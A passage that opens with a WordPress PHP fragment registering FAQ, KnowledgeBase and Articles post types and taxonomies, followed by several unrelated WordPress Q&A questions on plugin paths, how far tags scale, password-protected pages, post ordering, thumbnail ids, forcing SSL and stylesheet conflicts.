'show_ui' => true,             'publicly_queryable' => true,             'exclude_from_search' => false             )         );     }     }          function faq_taxonomy()     {         $labels = array('name' => __( 'Categories', 'guerilla' ),                         'singular_name' => __( 'Category', 'guerilla' ),                         'search_items' =>  __( 'Search Categories', 'guerilla' ),                         'all_items' => __( 'All Categories', 'guerilla' ),                         'parent_item' => __( 'Parent Category', 'guerilla' ),                         'parent_item_colon' => __( 'Parent Category:', 'guerilla' ),                         'edit_item' => __( 'Edit Category', 'guerilla' ),                         'update_item' => __( 'Update Category', 'guerilla' ),                         'add_new_item' => __( 'Add New Category', 'guerilla' ),                         'new_item_name' => __( 'New Category Name', 'guerilla' ),                         'menu_name' => __( 'Categories', 'guerilla' ) );              register_taxonomy(  'faq_category',                             array( 'faq' ),                             array( 'hierarchical' => true,                             'labels' => $labels,                             'show_ui' => true,                             'public' => true,                             'query_var' => true,                             'rewrite' => array( 'slug' => 'faq_category' )));     }          add_action( 'init', 'faq_taxonomy' );          /* Knowledgebase*/     add_action( 'init', 'KnowledgeBase_post_type' );     if ( ! function_exists( 'KnowledgeBase_post_type' ) ) {     function KnowledgeBase_post_type() {                   register_post_type( 'KnowledgeBase',             array(             'description' => __( 'KnowledgeBase Articles', 'guerilla' ),             'labels' => array(                     'name' => __( 'KnowledgeBase', 'guerilla' ),                     'singular_name' => __( 'KnowledgeBase', 'guerilla' ),                     'add_new' => __('Add New', 'guerilla'),                       'add_new_item' => __('Add New KnowledgeBase Articles', 'guerilla'),                       'edit_item' => __('Edit KnowledgeBase Articles', 'guerilla'),                       'new_item' => __('New KnowledgeBase Articles', 'guerilla'),                       'view_item' => __('View KnowledgeBase Articles', 'guerilla'),                       'search_items' => __('Search KnowledgeBase Articles', 'guerilla'),                       'not_found' =>  __('No KnowledgeBase Articles found', 'guerilla'),                       'not_found_in_trash' => __('No KnowledgeBase Articles found in Trash', 'guerilla')                 ),             'public' => true,             'menu_position' => 5,             'rewrite' => array('slug' => 'KnowledgeBase'),             'supports' => array(                 'title',                 'editor'),             'public' => true,             'show_ui' => true,             'publicly_queryable' => true,             'exclude_from_search' => false             )         );     }     }          function KnowledgeBase_taxonomy()     {         $labels = array('name' => __( 'Categories', 'guerilla' ),                         'singular_name' => __( 'Category', 'guerilla' ),                         'search_items' =>  __( 'Search Categories', 'guerilla' ),                         'all_items' => __( 'All Categories', 'guerilla' ),                         'parent_item' => __( 'Parent Category', 'guerilla' ),                         'parent_item_colon' => __( 'Parent Category:', 'guerilla' ),                         'edit_item' => __( 'Edit Category', 'guerilla' ),                         'update_item' => __( 'Update Category', 'guerilla' ),                         'add_new_item' => __( 'Add New Category', 'guerilla' ),                         'new_item_name' => __( 'New Category Name', 'guerilla' ),                         'menu_name' => __( 'Categories', 'guerilla' ) );              register_taxonomy(  'KnowledgeBase_category',                             array( 'KnowledgeBase' ),                             array( 'hierarchical' => true,                             'labels' => $labels,                             'show_ui' => true,                             'public' => true,                             'query_var' => true,                             'rewrite' => array( 'slug' => 'KnowledgeBase_category' )));     }          add_action( 'init', 'KnowledgeBase_taxonomy' );          /* Articles */     add_action( 'init', 'Articles_post_type' );     if ( ! function_exists( 'Articles_post_type' ) ) {     function Articles_post_type() {              //Register FAQ Post Type         register_post_type( 'Articles',             array(             'description' => __( 'Articles', 'guerilla' ),             'labels' => array(                     'name' => __( 'Articles', 'guerilla' ),                     'singular_name' => __( 'Articles', 'guerilla' ),                     'add_new' => __('Add New', 'guerilla'),                       'add_new_item' => __('Add New Articles', 'guerilla'),                       'edit_item' => __('Edit Articles', 'guerilla'),                       'new_item' => __('New Articles', 'guerilla'),                       'view_item' => __('View Articles', 'guerilla'),                       'search_items' => __('Search Articles', 'guerilla'),                       'not_found' =>  __('No Articles found', 'guerilla'),                       'not_found_in_trash' => __('No Articles found in Trash', 'guerilla')                 ),             'public' => true,             'menu_position' => 6,             'rewrite' => array('slug' => 'Articles'),             'supports' => array(                 'title',                 'editor'),             'public' => true,             'show_ui' => true,             'publicly_queryable' => true,             'exclude_from_search' => false             )         );     }     }          function Articles_taxonomy()     {         $labels = array('name' => __( 'Categories', 'guerilla' ),                         'singular_name' => __( 'Category', 'guerilla' ),                         'search_items' =>  __( 'Search Categories', 'guerilla' ),                         'all_items' => __( 'All Categories', 'guerilla' ),                         'parent_item' => __( 'Parent Category', 'guerilla' ),                         'parent_item_colon' => __( 'Parent Category:', 'guerilla' ),                         'edit_item' => __( 'Edit Category', 'guerilla' ),                         'update_item' => __( 'Update Category', 'guerilla' ),                         'add_new_item' => __( 'Add New Category', 'guerilla' ),                         'new_item_name' => __( 'New Category Name', 'guerilla' ),                         'menu_name' => __( 'Categories', 'guerilla' ) );              register_taxonomy(  'Article_category',                             array( 'Articles' ),                             array( 'hierarchical' => true,                             'labels' => $labels,                             'show_ui' => true,                             'public' => true,                             'query_var' => true,                             'rewrite' => array( 'slug' => 'Article_category' )));     }          add_action( 'init', 'Articles_taxonomy' );


title: When would I use either function for plugins?

text: I am curious as there are three function for loading files in plugins: `plugin_dir_path()` and `plugins_url()`, along with `plugin_dir_url()` So as a plugin developer, which would you use for loading php files? the main example shows: `plugin_dir_path()` - but if one were to write an auto loader function, which function would you use?


title: scaleability of tags

text: I had seen a post by Wordpress where they mention that they support unlimited 'tags' (as opposed to categories). Since php is driving Wordpress, would you mind explaining how/why they can make such a statement? Suppose I create a wordpress site with thousands of posts and let's say 100,000 tags. Can you explain in php/mysql terms why retrieving posts for a tag on a shared hosting site (hostgator), can work? Bonus points if you can explain why it won't work for Wordpress categories Edit: Here is the support article on wordpress.com - http://en.support.wordpress.com/posts/categories-vs-tags/ and the statement: > Is there a limit to the number of tags I can have? Yes, the sky. In other > words, no. Edit 2: What I am really looking if some insight into the php/sql server process which might make scalability possible or not. I am not looking for using hardware to scale the system or for solutions like clustering or enhancing the database in anyway. I am interested in things like: "querying a table with 100K entries can be quite responsive with php/mysql on a shared host" or if you think not "these queries will not work after 100k entries in the posts table"


title: How can I allow for the password protect feature to allow visitors to enter any number at all?

text: I am a beer distributor and I need site visitors to enter their license # on certain pages but there is no way for me to know all of the licenses in the state. I am currently using the default wordpress password protect page feature in the "Publish" section. Is there a php file that I can change where instead of having the password be a specific number I can tell it to allow any random number? And what code would I need? I do not know much php. Or maybe there is a plugin that will do this but I could not find any after searching quite a bit. Thank you very much for your help.


title: Changing publish date does not update post order

text: I have a ton of posts which display in descending order by date on my home page. I wanted to re-order them so I edited the publish date on some of them. However, my order of posts on the home page appears to be the same. Shouldn't it update the order since I changed the post dates?


title: adding an id to the_post_thumbnail

text:
I'm attempting to use the 'feature image' feature of Wordpress to make a full screen background, that resizes to fit the browser window using jQuery The bit I'm stuck on is adding a custom id (#bgimg) to the code generated by this:
<?php the_post_thumbnail (array(1024,768));?>
      The image generated needs to have specific id tag in it, eg...                     So that the jQuery plugin, can hook on to it, and scale it to fit the browser window. I know the jQuery works (as I've used it in other projects) Any suggestions? Alex


title: Howto force SSL for all requests?

text: Is there a way to force SSL for all requests? Much like the option to use admin ssl, but for all requests, including the ones who are not logged in.


title: Two stylesheets acting on one element

text: I am trying to style one element with `max-width` and I was having problems. I discovered that the child theme stylesheet was being augmented by the original stylesheet with `width` at the same time. ![enter image description here](http://i.stack.imgur.com/JFric.png) What gives? I could go in and remove the line from the parent theme but I worry about future-proofness?!?